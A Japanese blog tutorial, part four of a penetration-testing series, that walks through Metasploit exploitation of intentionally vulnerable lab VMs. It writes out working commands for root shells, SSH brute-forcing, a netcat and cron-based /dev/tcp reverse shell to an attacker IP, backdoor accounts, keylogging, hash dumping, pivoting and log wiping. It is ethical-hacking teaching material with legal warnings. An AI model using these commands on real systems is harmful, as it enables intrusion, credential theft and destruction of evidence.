メニュー
ホーム 記事 {{t.nav.bookmarks}} {{t.nav.experience}} {{t.nav.profiles}} 概要 お問い合わせ
Cybersecurity concept visualization
セキュリティ 2026年3月8日 • 28分で読める

エクスプロイテーション:脆弱性からシェルへ

Master Metasploit Framework, exploit real vulnerabilities, escalate privileges, and pivot through networks. The complete guide to ethical exploitation techniques.

共有:
Lee Foropoulos

Lee Foropoulos

28分で読める

Continue where you left off?
Text size:

Contents

ハッカーの道:全5パートシリーズ

パート1:イントロダクションパート2:Flipperマスターパート3:Kaliの基礎パート4:エクスプロイテーションパート5:完全監査

パート1〜3で、あなたはツールキットを構築しました。バッジのクローン、ネットワークのマッピング、ハンドシェイクのキャプチャ、ターゲット上で動作するすべてのサービスの特定ができるようになっています。今やどこにでも脆弱性が見えるでしょう。しかし、脆弱性を見つけることと、それを悪用することは全く異なるスキルです。

ここからが本番です。今日はMetasploit Frameworkの使い方を学びます。世界中のプロのペネトレーションテスターが使用するのと同じツールです。最初の脆弱性を悪用し、persistenceを確立し、権限を昇格させ、ネットワークを通じてpivotする方法を学びます。

越えてはならない一線

この記事のすべては、自分が所有するシステム、または明示的な書面による許可を得たシステムでのみ実践してください。コンピュータシステムへの不正アクセスは、最大20年の懲役刑を伴う連邦犯罪です。「勉強していただけ」は弁護になりません。ラボを構築し、意図的に脆弱なVMを使用し、自分が所有しないシステムには絶対に触れないでください。

パート1:攻撃ラボの構築

何かを悪用する前に、ターゲットが必要です。本物のペネトレーションテスターは、意図的に脆弱なマシンを備えた隔離されたラボ環境を使用します。あなたも同じことをします。

必須ラボセットアップ

必要なもの

  • Kali Linux VM - 攻撃マシン(パート3より)
  • Metasploitable 2 - 意図的に脆弱なLinux VM(SourceForge
  • Metasploitable 3 - 脆弱なWindows/Linux VM(GitHub
  • DVWA - Damn Vulnerable Web Application(GitHub
  • VulnHub VMs - CTFスタイルの脆弱なマシン(vulnhub.com

プロジェクト:ラボネットワークセットアップ

時間: 45分

  1. SourceForgeからMetasploitable 2をダウンロード
  2. VirtualBox/VMwareにインポート
  3. ネットワーク設定:KaliとMetasploitableの両方を「Host-Only」または「Internal Network」に設定
  4. Metasploitableを起動(デフォルトログイン:msfadmin / msfadmin
  5. IPアドレスをメモ:ifconfig
  6. Kaliから接続性を確認:ping METASPLOITABLE_IP
  7. 初期スキャンを実行:sudo nmap -sV -sC METASPLOITABLE_IP

確認: 数十の開いたポートが表示されるはずです。Metasploitableは侵害されるように設計されています。

Metasploitableのnmapスキャンでは、FTP、SSH、Telnet、SMTP、HTTP、Samba、MySQL、PostgreSQLなどのサービスが表示されるはずで、その多くが古い脆弱なバージョンを実行しています。ここがあなたの練習場です。

パート2:Metasploit Frameworkの基礎

Metasploitは単なるツールではありません。エコシステム全体です。数千のexploit、payload、補助モジュール、post-exploitationツールが含まれています。その構造を理解することが不可欠です。

4,000+
Metasploit Frameworkで利用可能なexploitモジュール。すべての主要なプラットフォームと脆弱性クラスをカバーしています。

Metasploitの起動

bash
1# Initialize the database (first time only)
2sudo msfdb init
3
4# Start Metasploit console
5msfconsole
6
7# You'll see the Metasploit banner and prompt:
8msf6 >

Metasploitの構造

Metasploitはすべてをモジュールに整理しています:

  • Exploits - 脆弱性を悪用するコード
  • Payloads - exploitation後に実行されるコード(shell、meterpreter)
  • Auxiliary - スキャナー、ファザー、その他のユーティリティ
  • Post - persistence、pivotingのためのpost-exploitationモジュール
  • Encoders - 検出を回避するためのpayloadの難読化
bash
1# Search for modules
2msf6 > search type:exploit platform:linux smb
3
4# Search by CVE
5msf6 > search cve:2017-0144
6
7# Search by name
8msf6 > search vsftpd
9
10# Get info about a module
11msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

エクスプロイテーションのワークフロー

Metasploitでのすべてのexploitationは同じパターンに従います:

  1. exploitを選択 - use exploit/path/to/module
  2. オプションを設定 - ターゲットIP、ポート、認証情報
  3. payloadを選択 - exploitation後に何が実行されるか
  4. 実行 - exploit または run
Cybersecurity operations with code on multiple screens
Metasploit Frameworkはexploitationへの構造化されたアプローチを提供し、脆弱性研究を再現可能でプロフェッショナルなワークフローに変えます。

パート3:最初のExploit

史上最も有名なバックドアの一つを悪用しましょう:vsftpd 2.3.4バックドアです。2011年、誰かがvsftpdのソースコードにバックドアを挿入しました。:)で終わるユーザー名を送信すると、ポート6200にシェルが開きます。

Metasploitable 2はまさにこのバージョンを実行しています。

bash
1# Start Metasploit
2msfconsole
3
4# Search for the exploit
5msf6 > search vsftpd
6
7# Select the exploit
8msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
9
10# View required options
11msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
12
13# Set the target
14msf6 exploit(...) > set RHOSTS 192.168.56.101
15
16# Run the exploit
17msf6 exploit(...) > exploit
18
19# If successful:
20[*] Command shell session 1 opened
21[+] Got shell!
22
23# You now have a root shell on the target
24whoami
25root
26id
27uid=0(root) gid=0(root)

これだけです。脆弱なサービス1つ、exploit1つ、rootアクセス。だからソフトウェアを最新に保つことが重要なのです。

脆弱なサービス1つ、exploit1つ、rootアクセス。だからソフトウェアを最新に保つことが重要なのです。

プロジェクト:vsftpdバックドアのExploit

時間: 15分

前提条件: Metasploitable 2が動作中、Kaliが同じネットワーク上

  1. FTPが動作していることを確認:nmap -sV -p 21 TARGET_IP
  2. msfconsoleを起動
  3. vsftpd exploitを検索、選択、設定
  4. exploitを実行
  5. シェルを取得したら探索:cat /etc/shadow

成功基準: rootのみがアクセスできる/etc/shadowを読むことができる。

パート4:Payloadの理解

Payloadはexploitが成功した後に実行されるものです。上で得た基本的なシェルはシンプルですが、Metasploitははるかに強力なオプションを提供します。

Payloadの種類

  • Singles - 自己完結型の単発payload(ユーザー追加、コマンド実行)
  • Stagers - 接続を確立し、メインpayloadをダウンロードする小さなpayload
  • Stages - stagerがダウンロードするメインpayload(Meterpreter)
bash
1# List compatible payloads for current exploit
2msf6 exploit(...) > show payloads
3
4# Set a specific payload
5msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
6
7# Payload naming convention:
8# platform/arch/payload_type/connection_type
9# linux/x86/meterpreter/reverse_tcp
10# windows/x64/shell/bind_tcp

Reverse対Bind Shell

  • Reverse shell - ターゲットがあなたに接続し返す。ファイアウォールのバイパスに最適(アウトバウンドは通常許可されている)。
  • Bind shell - ターゲットがポートを開き、あなたが接続する。検出が容易で、ファイアウォールにブロックされやすい。
bash
1# For reverse shells, you must set your IP
2msf6 exploit(...) > set LHOST YOUR_KALI_IP
3msf6 exploit(...) > set LPORT 4444
4
5# Metasploit starts a listener automatically when you exploit

Meterpreter:究極のPayload

MeterpreterはMetasploitの最も強力なpayloadです。完全にメモリ上で動作し(ディスクにファイルなし)、暗号化された通信を提供し、post-exploitation用の数十のビルトインコマンドが含まれています。

bash
1# Meterpreter commands (once you have a session)
2meterpreter > sysinfo          # System information
3meterpreter > getuid           # Current user
4meterpreter > pwd              # Current directory
5meterpreter > ls               # List files
6meterpreter > download file    # Download file to Kali
7meterpreter > upload file      # Upload file to target
8meterpreter > shell            # Drop to system shell
9meterpreter > hashdump         # Dump password hashes
10meterpreter > screenshot       # Take screenshot
11meterpreter > keyscan_start    # Start keylogger
12meterpreter > keyscan_dump     # Dump keystrokes
13meterpreter > background       # Background this session

パート5:さらなるExploitationテクニック

Samba(SMB)のExploitation

Metasploitable 2は脆弱なバージョンのSambaを実行しています。これはWannaCryで使われた悪名高いEternalBlue exploitに似ています。

bash
1# Search for Samba exploits
2msf6 > search type:exploit samba
3
4# The "username map script" vulnerability
5msf6 > use exploit/multi/samba/usermap_script
6msf6 exploit(...) > set RHOSTS TARGET_IP
7msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
8msf6 exploit(...) > set LHOST YOUR_IP
9msf6 exploit(...) > exploit
10
11[*] Command shell session 2 opened

弱い認証情報のExploitation

すべての侵害にソフトウェアの脆弱性が必要なわけではありません。弱いパスワードはどこにでもあります。

bash
1# SSH brute-force auxiliary module
2msf6 > use auxiliary/scanner/ssh/ssh_login
3msf6 auxiliary(...) > set RHOSTS TARGET_IP
4msf6 auxiliary(...) > set USERNAME root
5msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
6msf6 auxiliary(...) > set STOP_ON_SUCCESS true
7msf6 auxiliary(...) > run
8
9# For known credentials
10msf6 > use auxiliary/scanner/ssh/ssh_login
11msf6 auxiliary(...) > set USERNAME msfadmin
12msf6 auxiliary(...) > set PASSWORD msfadmin
13msf6 auxiliary(...) > run
14
15[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Webアプリケーションのexploitation

Metasploitableには複数の脆弱なWebアプリケーションが含まれています。PHPコードインジェクションを悪用してみましょう。

bash
1# First, browse to http://TARGET/mutillidae/
2# Find the "User Lookup" page (vulnerable to SQLi and code injection)
3
4# Use Metasploit's web exploits
5msf6 > search type:exploit php
6
7# Or exploit manually with command injection:
8# In vulnerable input field:
9; cat /etc/passwd
10; nc -e /bin/bash YOUR_IP 4444

プロジェクト:3つの異なるサービスをExploit

時間: 60分

ターゲット: Metasploitable 2

  1. vsftpdバックドア(FTP - ポート21)をexploitしてrootシェルを取得
  2. Samba usermap_script(SMB - ポート139/445)をexploitしてrootシェルを取得
  3. auxiliary/scanner/ssh/ssh_loginを使用してSSH認証情報をクラック
  4. 各exploitationを記録:使用したモジュール、設定したオプション、結果

ボーナス: ポート80のWebアプリケーションを探索し、手動のexploitationベクターを見つけてください。

パート6:Post-Exploitation

シェルを取得するのは始まりに過ぎません。本物のペネトレーションテストでは、攻撃者がそのアクセスで何ができるかを実証する必要があります。これがpost-exploitationです。

情報収集

text
1# From a Meterpreter session
2meterpreter > sysinfo
3Computer    : metasploitable
4OS          : Linux 2.6.24
5Architecture: i686
6Meterpreter : x86/linux
7
8# Network information
9meterpreter > ipconfig
10meterpreter > route
11meterpreter > arp
bash
1# From a regular shell
2cat /etc/passwd       # All users
3cat /etc/shadow       # Password hashes (requires root)
4cat /etc/hosts        # Network mappings
5netstat -tulpn        # Open ports
6ps aux                # Running processes
7crontab -l            # Scheduled tasks

認証情報の収集

text
1# Dump password hashes
2meterpreter > hashdump
3root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
4msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash
bash
1# Or from shell
2cat /etc/shadow
3
4# Crack hashes offline with John the Ripper
5john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
6
7# Or hashcat (faster with GPU)
8hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

Persistenceの確立

Persistenceとは、再起動後や最初のexploitベクターがパッチされた後でもアクセスを維持することです。

bash
1# Add a new user with sudo access
2useradd -m -s /bin/bash hacker
3echo "hacker:password123" | chpasswd
4usermod -aG sudo hacker
5
6# Add SSH key for passwordless access
7mkdir /home/hacker/.ssh
8echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
9
10# Cron-based reverse shell (reconnects every minute)
11echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
12
13# Metasploit persistence module
14meterpreter > run persistence -h
15meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IP

Persistence = 証拠

すべてのpersistenceメカニズムは痕跡を残します。本物のペネトレーションテストでは、何ができるかを記録し、その後クリーンアップします。クライアントシステムにバックドアを残すのはプロフェッショナルではなく、違法になる可能性もあります。ラボでは好きなだけやってください。ただし、その影響を理解してください。

パート7:権限昇格

最初のアクセスは低権限ユーザーとして得ることが多いです。テスト目標を達成するには、通常root/adminへの昇格が必要です。

Linuxの権限昇格

bash
1# Current user context
2id
3whoami
4
5# SUID binaries (run as owner regardless of who executes)
6find / -perm -4000 -type f 2>/dev/null
7
8# World-writable directories
9find / -writable -type d 2>/dev/null
10
11# Sudo permissions
12sudo -l
13
14# Kernel version (for kernel exploits)
15uname -a
16
17# Running processes as root
18ps aux | grep root
19
20# Cron jobs
21cat /etc/crontab
22ls -la /etc/cron.*

自動列挙スクリプト

bash
1# Upload and run LinPEAS
2# From Kali, host the script:
3python3 -m http.server 8000
4
5# From target:
6wget http://YOUR_IP:8000/linpeas.sh
7chmod +x linpeas.sh
8./linpeas.sh
9
10# LinPEAS highlights potential vectors in colors:
11# RED/YELLOW = Critical findings, likely exploitable

一般的なLinux Privescベクター

bash
1# 1. Sudo misconfiguration
2sudo -l
3# If you see: (ALL) NOPASSWD: /usr/bin/vim
4sudo vim -c '!sh'
5# Instant root shell
6
7# 2. SUID binary exploitation
8# If /usr/bin/find has SUID bit:
9find . -exec /bin/sh -p \;
10
11# 3. Writable /etc/passwd
12# Generate password hash:
13openssl passwd -1 mypassword
14# Add to /etc/passwd:
15echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
16
17# 4. Cron job exploitation
18# If a cron runs a writable script as root:
19echo 'chmod +s /bin/bash' >> /path/to/cron/script
20# Wait for cron, then:
21/bin/bash -p
22# Root shell

Windowsの権限昇格

Windowsターゲット(Metasploitable 3)をテストする場合、テクニックは異なります:

text
1# From Meterpreter on Windows
2meterpreter > getuid
3Server username: VICTIM\lowpriv_user
4
5meterpreter > getsystem
6[+] ...got SYSTEM
7
8# If getsystem fails, try:
9meterpreter > run post/multi/recon/local_exploit_suggester
10
11# Or background and use specific exploit:
12meterpreter > background
13msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
14msf6 exploit(...) > set SESSION 1
15msf6 exploit(...) > exploit

プロジェクト:ユーザーからRootへの昇格

時間: 45分

シナリオ: Metasploitableにmsfadmin(非root)としてSSHアクセスがある

  1. MetasploitableにSSH:ssh msfadmin@TARGET
  2. idを実行してrootでないことを確認
  3. sudo権限を確認:sudo -l
  4. SUIDバイナリを検索:find / -perm -4000 2>/dev/null
  5. LinPEASをアップロードして実行
  6. privescベクターを特定してexploit

目標: ネットワークサービスのexploitation以外の方法でrootシェルを取得する。

Hacker working on code in a dark environment
権限昇格は、限定的なアクセスをシステム全体の制御に変えます。多くの場合、高度なexploitではなく、見落とされた設定ミスを通じて実現されます。

パート8:Pivoting

Pivotingとは、侵害したシステムを使って、攻撃マシンから直接アクセスできない他のシステムを攻撃することです。攻撃者がネットワーク内を横方向に移動する方法です。

Pivotシナリオ

このネットワークを想像してください:

  • あなたのKali:192.168.1.100
  • 侵害されたホスト:192.168.1.50(内部ネットワーク10.0.0.0/24にも接続)
  • ターゲット:10.0.0.10(192.168.1.50からのみアクセス可能)

10.0.0.10に直接到達することはできません。しかし、侵害されたホストを経由すれば可能です。

Metasploitルーティング

text
1# After getting a Meterpreter session on the pivot host
2meterpreter > ipconfig
3# Shows two interfaces: 192.168.1.50 and 10.0.0.50
4
5meterpreter > run autoroute -s 10.0.0.0/24
6[+] Added route to 10.0.0.0/24 via session 1
7
8meterpreter > background
9
10# Now Metasploit routes 10.0.0.0/24 traffic through session 1
11msf6 > route print
12
13# Scan the internal network
14msf6 > use auxiliary/scanner/portscan/tcp
15msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
16msf6 auxiliary(...) > set PORTS 22,80,443,445
17msf6 auxiliary(...) > run
18
19# Exploit internal targets through the pivot
20msf6 > use exploit/windows/smb/ms17_010_eternalblue
21msf6 exploit(...) > set RHOSTS 10.0.0.10
22msf6 exploit(...) > exploit

フルアクセスのためのSOCKSプロキシ

bash
1# Set up a SOCKS proxy through Meterpreter
2msf6 > use auxiliary/server/socks_proxy
3msf6 auxiliary(...) > set SRVPORT 1080
4msf6 auxiliary(...) > run
5
6# Configure proxychains (/etc/proxychains4.conf)
7socks5 127.0.0.1 1080
8
9# Now any tool can access the internal network
10proxychains nmap -sT -Pn 10.0.0.10
11proxychains curl http://10.0.0.10
12proxychains ssh [email protected]

SSHトンネリング(Metasploitなし)

bash
1# Dynamic port forwarding (SOCKS proxy)
2ssh -D 1080 user@pivot_host
3
4# Local port forwarding (specific port)
5ssh -L 8080:10.0.0.10:80 user@pivot_host
6# Now localhost:8080 reaches 10.0.0.10:80
7
8# Remote port forwarding (expose your service to internal network)
9ssh -R 4444:localhost:4444 user@pivot_host
10# Internal hosts can reach your port 4444 via pivot_host:4444

パート9:痕跡の消去

プロのペネトレーションテスターはアクセスを記録しますが、後片付けもします。攻撃者がどのように痕跡を消すかを理解することは、侵入検知にも役立ちます。

bash
1# Clear bash history
2history -c
3cat /dev/null > ~/.bash_history
4
5# Clear auth logs (requires root)
6echo "" > /var/log/auth.log
7echo "" > /var/log/wtmp
8echo "" > /var/log/btmp
9
10# Remove specific log entries
11sed -i '/YOUR_IP/d' /var/log/auth.log
12
13# Timestomp (change file timestamps)
14touch -r /etc/passwd /path/to/your/file
15
16# Meterpreter
17meterpreter > clearev          # Clear Windows event logs
18meterpreter > timestomp file -m "01/01/2020 12:00:00"

実際の業務では:やらないでください

プロのペンテスターはアクセスを記録し、発見事項を報告します。隠しません。ログを消去すると、防御者が攻撃経路を理解するために必要な証拠が破壊されます。これらのテクニックは隔離されたラボ環境でのみ練習してください。

ハッカーの道

好奇心から能力へ導く全5パートシリーズ。

パート1:イントロダクション パート2:Flipperマスター パート3:Kaliの基礎 パート4:エクスプロイテーション ✓ パート5:完全監査

パート4チェックリスト

☐ ラボセットアップ: Metasploitable 2が動作中、隔離ネットワークが設定済み

☐ Metasploit: データベース初期化済み、基本ナビゲーション習得

☐ 最初のExploit: vsftpdバックドアをexploit、rootシェル取得

☐ 複数ベクター: FTP、SMBをexploitし、SSH認証情報をクラック

☐ Post-Exploitation: パスワードハッシュをダンプ、システムを列挙

☐ 権限昇格: ネットワークexploitなしでユーザーからrootへ昇格

☐ Pivoting: autorouteとSOCKSプロキシの概念を理解

☐ 文書化: すべてのexploitをステップと証拠とともに記録

Exploitationスキルアクションプラン 0/5

次のステップ

脆弱性のexploitation、権限昇格、ネットワークを通じたpivotを学びました。単一の弱点がいかに素早く完全な侵害になるかを見ました。プロのペネトレーションテスターが何をするか理解しています。

パート5では、すべてを統合します。最初から最後まで完全なセキュリティ監査を実施します:

  • スコープと交戦規定
  • 完全な偵察方法論
  • 体系的なexploitation
  • 包括的なpost-exploitation
  • プロフェッショナルなレポーティング
  • 改善勧告

パート5は集大成です。このシリーズ全体で学んだことが、テストを許可された任意のネットワークのセキュリティを評価するために使用できる実世界の方法論に統合されます。

テクニックを学びました。次は方法論を学びます。パート5はスキルを完全なペネトレーションテストワークフローに変えます。

パート5でお会いしましょう。

How was this article?

共有

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

Kiji wo minogasanaide

Atarashii kiji ga kokai saretara tsuuchi shimasu. Meeru wa fuyou desu.

Atarashii kiji ga aru to saito ni banner ga hyouji sare, kyoka sureba burauza tsuuchi mo todokimasu.

Burauza tsuuchi nomi. Supamu nashi.

0 / 0